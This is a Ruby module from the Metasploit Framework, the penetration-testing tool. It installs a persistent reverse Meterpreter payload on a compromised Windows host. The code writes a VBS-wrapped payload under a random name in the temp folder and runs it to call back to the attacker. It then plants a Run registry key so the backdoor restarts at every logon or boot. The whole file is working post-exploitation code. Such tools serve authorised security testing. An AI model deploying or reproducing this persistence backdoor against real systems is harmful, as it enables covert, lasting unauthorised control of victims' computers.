##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Msf::Post::Common
	include Msf::Post::File
	include Msf::Post::Windows::Priv
	include Msf::Post::Windows::Registry
	include Exploit::EXE

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Manage Persistent Payload Installer',
			'Description'   => %q{
					This Module will create a boot persistent reverse Meterpreter session by
				installing on the target host the payload as a script that will be executed
				at user logon or system startup depending on privilege and selected startup
				method.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Carlos Perez <carlos_perez[at]darkoperator.com>'
				],
			'Platform'      => [ 'win' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'Targets'       => [ [ 'Windows', {} ] ],
			'DefaultTarget' => 0,
			'DisclosureDate'=> "Oct 19 2011"
		))

		register_options(
			[
				OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]),
				OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
				OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]),
				OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']),
			], self.class)

	end

	# Exploit Method for when exploit command is issued
	def exploit
		print_status("Running module against #{sysinfo['Computer']}")

		rexename = datastore['REXENAME']
		delay = datastore['DELAY']
		reg_val = datastore['REG_NAME']
		@clean_up_rc = ""
		host,port = session.session_host, session.session_port

		exe = generate_payload_exe
		script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay})
		script_on_target = write_script_to_target(script,rexename)

		if script_on_target == nil
			# exit the module because we failed to write the file on the target host.
			return
		end

		# Initial execution of script
		if target_exec(script_on_target) == nil
			# Exit if we where not able to run the payload.
			return
		end

		case datastore['STARTUP']
		when /USER/i
			regwrite = write_to_reg("HKCU", script_on_target, reg_val)
			# if we could not write the entry in the registy we exit the module.
			if not regwrite
				return
			end
		when /SYSTEM/i
			regwrite = write_to_reg("HKLM", script_on_target, reg_val)
			# if we could not write the entry in the registy we exit the module.
			if not regwrite
				return
			end
		end

		clean_rc = log_file()
		file_local_write(clean_rc,@clean_up_rc)
		print_status("Cleanup Meterpreter RC File: #{clean_rc}")

		report_note(:host => host,
			:type => "host.persistance.cleanup",
			:data => {
				:local_id => session.sid,
				:stype => session.type,
				:desc => session.info,
				:platform => session.platform,
				:via_payload => session.via_payload,
				:via_exploit => session.via_exploit,
				:created_at => Time.now.utc,
				:commands =>  @clean_up_rc
			}
		)
	end

	# Function for creating log folder and returning log path
	def log_file(log_path = nil)
		#Get hostname
		host = session.sys.config.sysinfo["Computer"]

		# Create Filename info to be appended to downloaded files
		filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

		# Create a directory for the logs
		if log_path
			logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
		else
			logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
		end

		# Create the log directory
		::FileUtils.mkdir_p(logs)

		#logfile name
		logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
		return logfile
	end

	# Writes script to target host
	def write_script_to_target(vbs,name)
		tempdir = expand_path("%TEMP%")
		if name == nil
			tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
		else
			tempvbs = tempdir + "\\" + name + ".vbs"
		end
		begin
			write_file(tempvbs, vbs)
			print_good("Persistent Script written to #{tempvbs}")
			@clean_up_rc << "rm #{tempvbs}\n"
		rescue
			print_error("Could not write the payload on the target hosts.")
			# return nil since we could not write the file on the target host.
			tempvbs = nil
		end
		return tempvbs
	end

	# Executes script on target and return the PID of the process
	def target_exec(script_on_target)
		execsuccess = true
		print_status("Executing script #{script_on_target}")
		# error handling for process.execute() can throw a RequestError in send_request.
		begin
			if datastore['EXE::Custom'].nil?
				session.shell_command_token(script_on_target)
			else
				session.shell_command_token("cscript \"#{script_on_target}\"")
			end
		rescue
			print_error("Failed to execute payload  on target host.")
			execsuccess = nil
		end
		return execsuccess
	end

	# Installs payload in to the registry HKLM or HKCU
	def write_to_reg(key,script_on_target, registry_value)
		# Lets start to assume we had success.
		write_success = true
		if registry_value.nil?
			nam = Rex::Text.rand_text_alpha(rand(8)+8)
		else
			nam = registry_value
		end

		print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")

		if(key)
			set_return = registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ")
			if set_return
				print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
			else
				print_error("Failed to make entry in the registry for persistence.")
				write_success = false
			end
		else
			print_error("Error: failed to open the registry key for writing")
			write_success = false
		end
	end

end
